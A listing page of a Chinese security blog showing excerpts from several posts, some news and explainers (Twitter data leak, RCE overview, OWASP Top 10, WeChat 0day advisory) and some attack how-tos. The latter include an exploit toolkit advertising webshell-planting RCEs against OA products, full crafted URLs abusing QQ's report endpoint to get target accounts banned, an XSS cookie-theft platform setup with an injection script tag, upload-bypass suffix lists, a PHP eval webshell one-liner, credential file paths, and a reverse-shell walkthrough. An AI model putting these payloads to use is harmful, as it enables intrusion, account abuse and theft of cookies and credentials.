    免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。   0x01 工具介绍 增加CNVD-2023-00895 包括:泛微、蓝凌、用友、万户、致远、通达等多个高位漏洞。                                                                         e-cology workrelate_uploadOperation.jsp-RCE (默认写入冰蝎4.0.3aes)e-cology page_uploadOperation.jsp-RCE (暂未找到案例 仅供检测poc)e-cology BshServlet-RCE (可直接执行系统命令)e-cology KtreeUploadAction-RCE (默认写入冰蝎4.0.3aes)e-cology WorkflowServiceXml-RCE (默认写入内存马 冰蝎 3.0 beta11)e-office logo_UploadFile.php-RCE (默认写入冰蝎4.0.3aes)e-office10 OfficeServer.php-RCE (默认写入冰蝎4.0.3aes)e-office doexecl.php-RCE (写入phpinfo,需要getshell请自行利用)e-mobile_6.6 messageType.do-SQlli (sqlmap利用,暂无直接shell的exp)landray_datajson-RCE (可直接执行系统命令)landray_treexmlTmpl-RCE (可直接执行系统命令)landray_sysSearchMain-RCE (多个payload,写入哥斯拉 3.03 密码 yes)yongyou_chajet_RCE (用友畅捷通T+ rce 默认写入哥斯拉 Cshap/Cshap_aes_base64)yongyou_NC_FileReceiveServlet-RCE 反序列化rce (默认写入冰蝎4.0.3aes)yongyou_NC_bsh.servlet.BshServlet_RCE (可直接执行系统命令)yongyou_NC_NCFindWeb 目录遍历漏洞 (可查看是否存在历史遗留webshell)yongyou_GRP_UploadFileData-RCE(默认写入冰蝎4.0.3aes)yongyou_KSOA_imageUpload-RCE (默认写入冰蝎4.0.3aes)wanhuoa_OfficeServer-RCE(默认写入冰蝎4.0.3aes)wanhuoa_OfficeServer-RCE(默认写入哥斯拉4.0.1 jsp aes 默认密码密钥)wanhuoa_DocumentEdit-SQlli(mssql数据库 可 os-shell)wanhuoa_OfficeServerservlet-RCE(默认写入冰蝎4.0.3aes)wanhuoa_fileUploadController-RCE(默认写入冰蝎4.0.3aes)seeyonoa_main_log4j2-RCE (仅支持检测,自行开启ladp服务利用)seeyonoa_wpsAssistServlet-RCE(默认写入冰蝎4.0.3aes)seeyonoa_htmlofficeservlet-RCE(默认写入冰蝎4.0.3aes)seeyonoa_ajaxBypass-RCE(写入天蝎 密码sky)tongdaoa_getdata-RCE (直接执行系统命令)tongdaoa_apiali-RCE (默认写入冰蝎4.0.3aes)中间件:IIS_PUT_RCE (emm暂时没办法getshell 仅支持检测 java没有MOVE方法)安全设备:综合安防_applyCT_fastjson-RCE(仅支持检测,自行使用ladp服务利用)网康下一代防火墙_ngfw_waf_route-RCE(写入菜刀shell 密码:nishizhu)网御星云账号密码泄露   0x02 安装与使用   1、文件上传指令生成 2、Tasklist敏感进程检测 /3、33、反弹shell命令生成 0x03 项目链接下载 请加入交流群下载...

    2023-01-09 355
  • 难怪马斯克裁掉整个安全部门,推特540万用户数据在暗网公开

    就在马斯克宣布裁撤整个安全部门之后,Twitter再次传来一个重磅消息,超过540万条用户数据已经在暗网公开,并且免费共享给所有人。此外,安全人员还披露了另外一个可能泄露的,规模更大的数据库,其中包含了上千万条Twitter数据。 这些数据包含了大多数的公共信息,包括包括帐户的 Twitter ID、名称、屏幕名称、已验证状态、位置、URL、描述、关注者数量、帐户创建日期、好友数量、收藏夹数量、状态计数和个人资料图像 URL;以及较为私密的用户的电子邮件和电话号码等信息。一旦这些信息在暗网爆发开来,那么意味着数百万的Twitter用户将有可能面临潜在的网络钓鱼攻击。   数据泄露6个月后才修复漏洞   根据国外媒体报道,2022年8月5日,Twitter在其隐私中心发布声明,确认此前被曝出的540万个账户信息泄露事件确实存在。 Twitter表示,之所以直接发布这一声明,是因为无法确认每一个可能受到影响的账户,因此无法单独向账户发送信息泄露警告。“拥有匿名账户的人需要尤其注意,他们可能会被政府或其他人锁定目标。”Twitter在声明中强调。 被黑客利用的漏洞是Twitter 在2021年6月更新时引入的:如果有人向Twitter系统提交一个电子邮件地址或电话号码,Twitter系统会回复相关联的账户信息。 2022年1月1日,网络安全平台Hackerone用户zhirinovsky报告了这一漏洞,并在Twitter的漏洞奖励计划中获得5040美元的奖励。根据报告,该漏洞对拥有私人或匿名账户的用户构成了“严重威胁”,可能被用来“创建数据库”,或通过大数据分析出Twitter的用户画像。 得知此事后,Twitter立即进行了调查和修复。当时没有证据表明有人利用了这个漏洞,然而这已是漏洞被引入代码库的6个月之后。Twitter并未在隐私中心对此发表任何说明。 7月21日,媒体RestorePrivacy注意到一位新用户在黑客论坛上以3万美元出售Twitter数据库,称涉及540万用户,包括“从名人到公司”的用户数据。RestorePrivacy验证发现,受害者来自世界各地,这些被泄露的数据包括与Twitter账号绑定的电子邮件、电话号码、公开的个人资料信息,并可以与真实的人相匹配。 这已经不是Twitter第一次发生大规模数据泄露事件,2019年1月,Twitter披露了其修复的一个安全漏洞,而在此前四年多的时间里,该漏洞使得许多用户的私人推文被泄露。而此次数据泄露也是漏洞引起,并且经过长达六个月的时间才修复完成。 难怪马斯克一上任就裁掉了Twitter整个安全部门,作为全球大型社交平台之一,其安全能力属实无法令人满意。 数据泄露的远比想象中的多 但更糟糕的消息还在后面,免费共享540 万条用户数据的发布者称,这仅仅是Twitter数据泄露的一部分,他们还窃取了更多的用户数据。据悉这些泄露的Twitter数据已经达到千万级,其中包括使用相同 API 错误收集的个人电话号码,以及公共信息,包括已验证状态、帐户名、Twitter ID、个人简介和屏幕名称。 Loder 最早在Twitter上发布了上述更大数据泄露的消息,发帖后不久他就被停职。Loder随后在Mastodon上发布了这个更大规模数据泄露的编辑样本 。 Loder分享更大漏洞的消息 有安全专家通过这个未知的数据库的样本文件,对其中信息的真实性进行了核实。结果发现,包括电话号码在内的信息全部都真实有效,这也从侧面证明了此次千万级数据泄露是真实存在的。 此外,这些用于核实的信息都没有出现在 8 月份出售的原始数据中,这说明 Twitter 的数据泄露比之前披露的要严重得多,而且攻击者之间流传着大量的用户数据。 安全专家Pompompurin表示,目前不知道是谁创建了这个新发现的数据转储,表明其他人正在利用这个 API 漏洞。这个新发现的数据转储由许多按国家和地区代码分解的文件组成,包括欧洲、以色列和美国。 有消息称这个泄露的数据库存储的信息量有可能达到2千万条,其泄漏量之大令人震惊,因此Twitter用户应提高警惕,仔细检查任何声称来自Twitter的电子邮件,避免陷入网络钓鱼攻击的陷进之中。 ...

    2022-11-30 714
  • 文件上传漏洞 部分解析后缀

    文件上传漏洞部分解析后缀 asp/aspx: asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr php: php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml jsp: jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml ...

    2022-11-21 259
  • QQ大规模封号事件分析

    最近两天QQ出现了大规模封号的情况,当然,我在推送群里的几个QQ也被封了,自己用的大号还健在。 结果就有热心网友找到了漏洞相关的POC,先对马叔叔(10001)进行了一波尝试,结果发现没有效果。 然后就拿我大号进行了测试,当时,我正好在吃饭,结果GG了……  0:00 / 00 漏洞产生的原因 客户端版本较多导致可能存在一些没有废弃的旧版接口 可以在URL中修改eviluin、text_evidence字段,就可以修改要举报的QQ号和证据 漏洞POC 目前看应该是已经和谐了,我们将其中的URL也分享出来供大家学习参考 漏洞URL样本一 您需要将QQ号替换为目标的QQ号 https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=QQ号&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A 我们分析下上面的一些字段,目标QQ号使用的是eviluin,举报证据字段如下 text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91; 通过URL解码,我们可以看到里面有一些关键词,正是命中了这些关键词导致的用户被立刻封号 漏洞URL样本二 QQ号需要修改为目标QQ号 https://jubao.qq.com/uniform_impeach/impeach_entry?system=PC&version=5887&appname=PCQQ&appid=2400002&subapp=group_vote&scene=20001&uintype=1&eviluin=QQ号&evilnick=%E7%8C%AA%E7%8C%AA%E4%BE%A0&srv_para=chatmsg:&text_evidence=%E6%8A%95%E7%A5%A8%E6%A0%87%E9%A2%98:%E7%99%BE%E5%AE%B6%E4%B9%90;%E9%80%89%E9%A1%B91:%E6%93%8D%E4%BD%A0%E6%AF%8Dk%E4%BD%A0b%E6%AD%BBb;%E9%80%89%E9%A1%B91;&img_evidence=&url_evidence=&video_evidence=&file_evidence=&audio_evidence=&user_input_param=&cryptograph=5773555d36d3e9fecc805877688f24af&salt=e9db1f69eb6c5cf54f8312227f405bcc&seqid=1037948812520221013&is_fake=0&impeach_tel=1&3eeaade917a2c33cc4710031c653b2bd885cbb42&input=%E7%A1%AE%E5%AE%9A 以上两个样本可以造成封号1、7天,其实就是利用了这些字段可以随意修改,而且大概率是从旧版电脑QQ上遗留的部分功能导致的。因此,做安全喜欢考古是一个很不错的思路,比方说从以前的老版本的应用上寻找一些可能还遗留的接口进行参数篡改,就会导致网上说的这种无违规(wwg)封号的情况 POC验证 在输入上面的URL,在手机客户端访问后,可以看到举报成功 当然我自己的号也不例外,被热心网友安排了一天的套餐 你可以去安全中心,输入对应的QQ检测封号情况 https://accounts.qq.com/login/limit 目前可以看到很多大佬的QQ都因为这个漏洞被临时封禁了 很多短位或者靓号也被热心网友给搞封了 这个漏洞目前应该是已经修复了,而且通过这个漏洞被封禁的账户现在也都解封了 ...

    2022-11-20 418
  • 什么是远程代码执行漏洞?

    什么是远程代码执行攻击? RCE 攻击包括通过使用系统某个级别的漏洞在系统中注入和执行恶意代码。这允许攻击者在系统中执行命令、窃取、损坏、加密数据等。 RCE 攻击有多危险? RCE 攻击的影响可能很大,具体取决于它所利用的漏洞。至少,成功的远程代码执行将授予对系统及其数据的访问权限。,严重的情况下,它可能导致整个系统妥协和接管。 RCE含义 RCE 也称为远程代码评估,是更广泛的任意代码执行 (ACE) 攻击组的一部分。它是一种使用互联网、本地 (LAN) 或广域网 (WAN) 在目标机器或系统中远程注入和执行代码的方法。此代码可以访问 Web 服务器或应用程序,完全控制或破坏它,打开后门,获取、修改或破坏数据,安装勒索软件等。 这种攻击利用了将可执行代码注入字符串或文件并执行或评估的可能性。可能是由于用户输入没有经过验证,也没有被允许通过编程语言的解析器——这种情况通常不是开发人员想要的。注入的代码通常使用目标应用程序的编程语言。此类语言可能包括 PHP、Java、Python、Ruby 等。 根据攻击者所利用的缺陷,他们通常会在执行代码时获得目标进程授予的权限。例如,如果攻击者以用户的身份注入代码,他们就会夺取用户的权限。 出于这个原因,RCE 之后经常尝试升级权限并获得对管理或根级别的控制。不幸的是,这种提升的特权也允许攻击者更巧妙地隐藏攻击。然而,即使没有更多的特殊权限,远程代码执行漏洞也有可能造成严重危害。 RCE 攻击的影响 远程代码执行攻击的影响可能是简单地获得对应用程序的访问权,也可能是完全接管应用程序。RCE攻击的一些主要结果类型包括: 访问应用程序或服务器:最初,由于漏洞,攻击者可以访问易受攻击的应用程序中的功能。他们可以使用它来注入和运行底层的 Web 服务器命令。 权限升级:获得对网络服务器的访问权并执行命令意味着攻击者可能能够获得更大的权限并控制服务器。如果存在服务器级别的内部漏洞,这尤其危险。 访问数据:利用 RCE 漏洞,攻击者可以访问和窃取存储在服务器上的数据。 拒绝服务:攻击者可以通过执行特定的命令来中断和崩溃服务器上的整个服务和其他服务。 勒索软件和加密:如果可以在服务器上执行代码,也可以安装各种类型的恶意软件。此类恶意软件可能是使用服务器资源挖掘加密货币的加密挖掘或加密劫持软件。远程代码执行漏洞也为勒索软件打开了大门,让整个服务器被接管。 这些只是 RCE 攻击的一些可能影响。根据具体情况和其他漏洞的存在,敌对方可能会造成进一步的损害,使这种攻击非常危险。 远程代码执行如何工作 执行远程代码执行有不同的方法,因为它可以针对服务器的不同层。 执行 RCE 的一种常见方法是通过注入代码并获得对指令指针的控制权。这允许攻击者指向执行以下指令/过程。代码可以以不同的方式和位置注入,但攻击者必须“指向”注入的代码才能执行。代码本身可能以命令、脚本或其他形式存在。 从本质上讲,以上就是RCE攻击的执行方式。攻击的类型、攻击向量以及执行的精确程度可能有所不同。 远程代码执行攻击类型 这些是最常见的远程代码执行攻击及其基本场景。 类型混淆 这种类型的漏洞是指使用一种类型分配对象、资源或变量,但随后使用不同于初始类型的另一种类型进行访问。由于访问资源的类型和属性不匹配,这将导致错误和逻辑错误。 攻击者利用这个漏洞,将代码包含在分配一个指针但读取另一个指针的对象中。结果是第二个指针触发注入的代码。 例如,在某些情况下, SQL 注入可能是由于类型混淆造成的。 反序列化 Тo 通过网络传输数据,它被序列化,也就是转换为二进制。然后,将其反序列化并转换回要在其目的地使用的对象。 通过以特定方式格式化用户输入,攻击者可以创建一个对象,一旦它被反序列化,就会变成可执行的动态代码。 缓冲区溢出和缓冲区过度读取 缓冲区溢出也称为越界写入和缓冲区溢出。与缓冲区过度读取一起,它指的是与称为缓冲区的内存分区相关的内存安全漏洞。缓冲区的目的是在数据从一个地方移动到另一个地方时临时存储数据。 应用程序经常使用缓冲存储器来存储数据,包括用户提供的数据。对于缓冲区溢出,攻击者将依赖于有缺陷的内存分配,例如,缺乏边界检查措施。这可能导致数据被写入缓冲区边界之外并覆盖相邻缓冲区分区中的内存。 这种覆盖可能会损坏或破坏重要数据,导致崩溃,或导致通过使用指令指针安全漏洞触发 RCE。这可能与缓冲区过度读取情况有关,在这种场景中,数据的读取超出了缓冲区的边界,进入了存储在相邻分区中的内存。 RCE 攻击示例 一些重要和危险的漏洞及其启用的攻击都涉及使用 RCE。 Log4J RCE 漏洞 Log4Shell (CVE-2021-44228) 是 Log4j 中的一个远程代码执行漏洞,Log4j是一种流行的 Java 日志框架,估计会影响全球数百万台设备。它被称为“有史以来最大、最严重的漏洞”。虽然它自 2013 年以来就存在,但它于 2021 年 11 月为人所知,并于当年 12 月公开披露。 该漏洞允许用户在服务器上执行任意Java代码,为加密挖掘、创建僵尸网络和注入勒索软件打开大门。 WannaCry WannaCry是一种勒索病毒加密蠕虫攻击,它使用了一个名为EternalBlue的RCE漏洞,从而可以部署DoublePulsar工具来安装和执行自己的程序。这次攻击的目标是微软的Windows系统。安装后,蠕虫会对数据进行加密,攻击者会索要赎金。 永恒之蓝攻击了微软SMB (Server Message Block)协议中的一个安全漏洞。该漏洞允许攻击者注入和远程执行代码。 这只是两个最著名的RCE漏洞及其启用的攻击。常见漏洞和暴露(Common vulnerability and exposed, CVE)系统定期列出可能导致RCE攻击的漏洞的新条目。 如何检测和防止远程代码执行 RCE 攻击构成严重威胁,因为它们可能涉及多种方法并利用许多不同的漏洞。此外,新的漏洞不断出现,使得准备充分变得具有挑战性。但是,您可以采取多种措施来检测和防止 RCE 攻击。 定期安全更新 组织经常不能根据最新的威胁情报采取行动,不能及时应用补丁和更新。因此,攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用,就立即对它们进行安全更新,这对于阻止许多攻击者是非常有效的。 监控 监控网络流量和端点,以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。 检测软件安全 通过静态代码检测可以在编码阶段发现常见的安全漏洞,从源头解决掉存在的安全风险。 内存管理 实现缓冲区溢出保护和其他形式的内存管理,以避免产生容易被利用的漏洞。例如,当缓冲区溢出时,这种保护将终止程序的执行,从而有效地禁用了执行恶意代码的可能性。边界检查和标记是可以实现的其他保护技术,用于停止缓冲区溢出。 ...

    2022-07-19 420
  • 2021 OWASP十大应用安全风险

    2021年的Top 10 里出现了3个新主题、4个命名与范围发生变化的主题,此外还进行了一些合并。 A01 :越权访问(2021-Broken Access Control) 从2017年的第5位上升至第1位。超过94%的app都经历过某种形式的越权访问控制测试。对应到越权访问有34个CWE,比任何其它在app中出现的主题次数都多。  A02:加密失败(2021-Cryptographic Failures ) 较2017年相比上升1位至第2位。以前被称为敏感数据公开(Sensitive Data Exposure),但只是一种基本症状表现,并不是根本原因。最新版OWASP重新聚焦于与密码学相关的缺陷,这些缺陷通常会导致敏感数据公开或系统受损。  A03:注入(2021-Injection) 较2017版相比下滑至第3位。超过94% 的app都针对各种形式的注入进行了测试。对应到注入有33 个CWE,在app中出现的次数位列第二。跨站脚本攻击(XSS)目前属于现版本中注入的一部分。  A04:不安全设计(2021-Insecure Design) 2021年Top 10的新主题,重点关注了与设计缺陷相关的风险。如果我们真的想作为一个行业发展,就需要更多地使用威胁模型分析、安全设计模式和原则以及参考架构。  A05:安全性错误配置(2021-Security Misconfiguration) 较前版的第6位相比上升1位。90% 的app都需要经过某种形式的错误配置测试。随着更多转向高度可配置的软件,也就不奇怪为什么这个主题排名能够上升了。之前的XXE主题现在也属于A05类别。  A06:易受攻击与过时组件(2021-Vulnerable and Outdated Components) 前版名称是“应用已知漏洞组件”(Known Vulnerabilities),在行业调查中位列第2,并有足够的数据通过数据分析进入Top 10排名。该类别从 2017 年的第9位上升,是一个难以测试和评估风险的已知问题。这是唯一没有任何CVE可以对应到已归结CWE的主题,因此以默认的利用和影响权重5.0计入评分标准。  A07:身份验证与认证失败(2021-Identification and Authentication Failures) 以前称为错误认证(Broken Authentication),从第2位下滑至第7位。现在包括与识别失败更多相关的 CWE。有着标准化框架可用性增加的帮助,该主题仍然是前10的一个组成部分。  A08:软件和数据完整性故障(2021-Software and Data Integrity Failures) 2021 年的一个新主题,着眼于在不验证完整性的情况下,做出与软件更新、关键数据和 CI/CD 管道相关的假设。CVE/CVSS 数据中最高加权影响之一可以对应到A08中的10个CWE。2017年的不安全反序列化(Insecure Deserialization) 现属于A08的一部分。  A09:安全日志记录和监控失败(2021- Security Logging and Monitoring Failures) 以前被称为日志记录和监控不足( Insufficient Logging &Monitoring )。是从行业调查第3位中添加的,从之前的第10位上升。A09被扩大成为一个能够包含更多故障类型的主题,对于我们进行测试有一定的挑战性,而且在 CVE/CVSS 数据中也没有很好的表现。但是,A09类故障会直接影响到可见(visibility)、事件警报(incident alerting)和取证(forensics)的准确性。  A10:服务器端请求伪造(2021-Server-Side Request Forgery) A10是直接从行业调查第1位中添加的。数据显示,在高于平均水平的测试里,A10的发生率相对较低,但Exploit和潜在的Impact都高于平均水平。这也正表示了行业专业人士在告诉我们,就算目前数据中没有显示出来,服务器请求伪造还是很重要的事实。  评选方式 新版Top 10的评选比以前都看重数据,但并非盲目受数据影响。OWASP从各方贡献的数据中选择了10个主题中的8个,然后从高水平行业调查中选择了剩下的2个。这样做的根本原因是,查看贡献的数据就等于是回顾过去。AppSec研究人员花了大量时间去寻找新的漏洞和测试它们的新方法,但将这些测试运用到实际工具和流程中还需要等待一段时间。等到能够可靠地进行大规模测试时,时间可能已经过去了很久。为了平衡这点,就应该将行业调查利用起来。去询问专业的一线人员,关于他们所发现的可能还尚未在数据中显示出来的漏洞。 这就是OWASP采用的为了使Top 10变得更加成熟的关键变化措施。  怎样归纳出各个主题? 与上一期OWASP Top 10相比,一些主题发生了改变。以下是关于主题变更的高级摘要。以前的数据收集工作集中在大约 30 个CWE的规定子集上,并要求有1个额外发现的领域。OWASP了解到,组织将主要关注那 30 个 CWE,很少添加他们看到的其它CWE。本次迭代中OWASP完全抱着开放心态,只询问数据,对CWE没有设置任何限制。他们查询了从 2017 年开始测试的应用程序数量,以及在测试中发现至少一个 CWE实例的应用程序数量。这种形式使OWASP能够跟踪每个CWE在应用程序群体中的活跃程度。应用程序有4个CWE实例还是4000个实例,都不是影响进入Top 10的因素。在大约30个CWE到近400个CWE的跨度下,对数据集中进行了分析。未来将计划做额外的数据分析作为补充。这种在CWE数量需求上的增加会影响到提炼、归纳主题的方式。 OWASP用了好几个月的时间对 CWE 进行分组和分类,本需要再多花几个月,但他们不得不停下来。CWE可以分为“根本原因(root cause)”和“症状表现(symptom type)”类型,其中根本原因类型如“加密失败”和“错误配置”,可以和“敏感数据暴露”和“拒绝服务”等症状表现类型形成对比。OWASP决定尽可能关注根本原因,因为在提供识别和补救建议方面,根本原因更加重要。关注根本原因而不是症状表现,这并不是一个新概念。Top 10便是症状表现和根本原因的混合体,CWE也同样是症状表现和根本原因的混合体。现版本中每个类别平均有 19.6 个 CWE,A10:2021-服务器端请求伪造(SSRF) 的下限为 1 个 CWE,而 A04:2021-不安全设计中的 CWE 下限为 40 个。现版本更新的归纳法其实提供了额外的培训好处,比方公司可以专注于对语言/框架有意义的 CWE。  在归纳过程中,我们如何使用数据? 2017年,OWASP根据事件发生概率来挑选各种主题,然后通过团队讨论,根据以往数十年的可利用性(exploitability)、可检测性(Detectability,也是可能性)和技术影响(Technical Impact)这三点来进行了排名。对于 2021 年,OWASP选择将数据用于利用(Exploit)和影响(Impact)的统计。 OWASP下载了OWASP Dependency Check,并提取了按相关CWE分组的CVSS 利用和影响的分数。这需要他们用一段时间去研究,因为所有CVE都有 CVSSv2 分数,但CVSSv2中存在CVSSv3应该解决的缺陷。过了段时间,所有CVE都被标上了CVSSv3 分数,并且CVSSv2与CVSSv3的评分范围和公式也进行了更新。 在 CVSSv2 中,利用和影响最大可以达到 10.0分,但公式会将它们的分数降低,利用只剩60%,影响下降至原本的40%。在CVSSv3 中,利用的理论最大分数限制为 6.0,影响的理论最大分数限制为4.0。考虑到权重,影响的评分在 CVSSv3 中平均上升了近1.5,而利用的评分平均下降了0.5。 OWASP Dependency Check提取的NVD数据中,有125000条CVE对应到CWE的记录,对应到CVE的特殊CWE有241条。62000条 CWE有CVSSv3 分数,大约是数据集数量的一半。 对于Top 10,OWASP按以下方式计算平均利用和影响分数。按CWE将所有有CVSS分数的CVE分组,并通过“有 CVSSv3数量的百分比”+“剩余有CVSSv2 的数量”,对利用和影响进行加权,获得了总体平均值。再将这些平均值对应到数据集中CWE,以用作另一半的风险等式的利用和影响评分。...

    2021-09-13 506
  • XSS平台搭建及利用

    一、下载平台源码、拷贝到我们网站的根目录 https://github.com/anwilx/xss_platform 二、修改相关参数 1、config.php,数据库用户、密码、还有xss平台的访问路径 2、导入sql文件,测试的时候没法导入,所以就手动创建了数据库 新建数据库 打开xssplatform.sql,将里面的sql语句执行一遍 3、更新站点域名,将作者的域名替换,一共有四处 将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss"); 4、修改authtest文件 三、平台利用 1、注册一个账户 2、创建一个项目 3、配置相关信息,根据需要,添加模块 4、复制script里面代码,插入到存在xss漏洞的页面 <script src=http://192.168.139.129/xss/E3vbsa></script> 5、打开xss平台,已获取对方cookie 禁止非法,后果自负 ...

    2021-05-26 613
  • 微信被爆出存在高危0day漏洞!新版本已修复,看到尽快更新!

    微信被国内某安全团队(青藤)爆出,在电脑版微信客户端中捕获到一个高危等级的在野0day漏洞。建议3.2.1.141版本以下的用户立即更新! 此次被爆出的高危0day黑客只需要通过微信发送一个特制web链接,当用户点击链接后,微信电脑(windows)版进程wechatweb.exe会加载shellcode执行,整个过程无文件落地,无新进程产生。 也就是说当你点击了对方准备好的链接后,你就已经中招了而且不会在文件和进程上体现,比较可怕! 安全团队在检测出wechatweb.exe存在内存恶意代码,继而排查出了0day漏洞之后,在第一时间报告腾讯安全应急响应中心并协助其修复漏洞。 截止目前,该漏洞已被修复并发布了更新版本,强烈建议看到此文章的朋友们,如果你的微信电脑版本在3.2.1.141以下,请及时点击设置-关于微信-检查更新,避免因此漏洞产生任何损失! 也可以尽快扩散给身边使用微信电脑版的朋友,减小漏洞威胁! ...

    2021-04-17 607
  • 常见端口漏洞利用总结

    ...

    2021-04-06 518
  • HW常见攻击方式 -- 文件上传及文件包含漏洞

    一、概念 文件上传漏洞,也就是常说的上传木马程序,一般先传小马,通过小马上传大马 文件包含漏洞,可以读取服务器本地文件 二、文件上传 1、本地上传限制不严格,头像上传,通过修改数据包上传文件后缀,可以绕过该限制。 选择一句话木马的php文件,提示只能上传JPEG和PNG文件 抓包,将Content-Type属性修改为:image/jpeg,点击发送 解释:MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开。如GIF图片MIME为Image/gCSs文件MIME类型为text/ss。上传时,程序会对文件MME类型做验证。 提示上传成功 菜刀连接 2、服务器配置不当,HTTP没有禁用PUT和OPTIONS请求方法 3、文件解析漏洞:Apche、Nginx、IIS Apache解析漏洞 Apache对文件解析是从右到左的,由于 Apache无法解析rar和owf后缀,但能够解析php后缀,因此 Apache会将 x.php owf.rar当做php格式的文件进行解析并执行 http://www.aiyoubucuo.com/x.php.owf.rar Nginx<8.03空字节代码执行漏洞 影响范围: Nginx0.5.0.6,0.7<=0.7.65,0.8<=0.8.37访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg%00.php IIS7.0/IIS7.5/ Nginx<0.8.3畸形解析漏洞 在默以 Fast-CGI开启状况下,访问以下网址,服务器将把x.jpg文件当做php解析并执行 http://www.aiyoubucuo.com/x.jpg/.php IIS 5.x/6.0解析漏洞 目录解析:在网站下建立文件夹的名称中带有.asp、.asa等可执行脚本文件后缀为后缀的文件夹,其目录内的任何扩展名的文件都被IIS当作可执行文件来解析并执行 http://www.aiyoubucuo.com/x.asp/x.jpg 文件解析在IIS6.0下,分号后面的不被解析x. asp;.jpg将被当做x.asp解析并执行。 http://www.aiyoubucuo.com/x.asp;.jpg IIS6.0默认的可执行文件有asp、asa、cer、cdx四种。 4、文件路径截断:%00截断 00截断的原理,就是利用0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。 限制条件: 0X00截断是16进制的截断,需要修改16进制的数据头,使用burp在Hex中对数据进行改写 PHP<53.29, magic_quotes_gpc=OFF %00的使用是在路径上,不是在文件名中"a. php%00b jpg" 由于%00做了截断,所以最后服务器接收到的文件名依然还是 a. php,因为在接收的时候,就直接对url编码进行解码,然后再去接收文件,这时候的文件名就变成了a.php,后面的 b. jpg已经被截断 三、文件包含漏洞 1、概念 一些网站由于业务需求,提供文件下载功能,但如果对用户查看或下载的文件不受限制,则恶意用户就能够查看或下载任意敏感文件,如脚本代码,服务及系统配置文件等,如果得到代码可以进行代码审计,得到更多可利用漏洞直接执行代码的函数: 2、常用函数 eval()、 assert()、 system()、exec()、 shell exec()、 passthru()、 escapeshellcmd()、 pcnl_exec()等 eval():该函数把字符串按照PHP代码来计算,如常见的句话后门程序:<? php eval($_ POST[a])?> assert():该函数与eval类似,字符串被 assert()当做PHP代码来执行; 3、PHP中常见的导致文件包含的函数:  require:找不到被包含的文件时会产生致命错误( E COMPILE ERROR),并停止脚本 include:找不到被包含的文件时只会产生-个( E waring),脚本将继续执行 require_once:与 require类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 include once:与 include类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含 4、重要文件路径 1、Unix/liux系统: /etc/passwd /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //Mysql配置文件 2、Windows系统 C:\\boot.ini //查看系统版本C:\windows\\system32\\inetsrv\\MetaBase.xml //IIS配置文件C:\\Program files\\mysql\\my.ini //mysql配置C:\\Program Filed\\mysql\data\\mysql\\user.MYD //Mysql rootC:\\windows\\php.ini //php配置信息C:\\windows\\my.ini // Mysql配置文件 禁止非法,后果自负 ...

    2021-03-21 663
  • WebShell -- Linux反弹

    小攻:IP地址:192.168.139.129  Win7 小受:IP地址:192.168.139.128,Ubuntu 一、拿到webshell后,点击反弹提权 二、小攻运行nv -vv -l -p 3355 三、在反弹提权页面,输入小攻的地址及上面监听的端口号,点击开始连接 四、小攻已成功连接小受,输入命令函数whoami查看权限是www 五、查看该系统版本号uname -a,根据该版本号查找相应的EXP,上传到小受并执行 六、工具下载:加入交流群 禁止非法,后果自负 ...

    2021-03-20 550
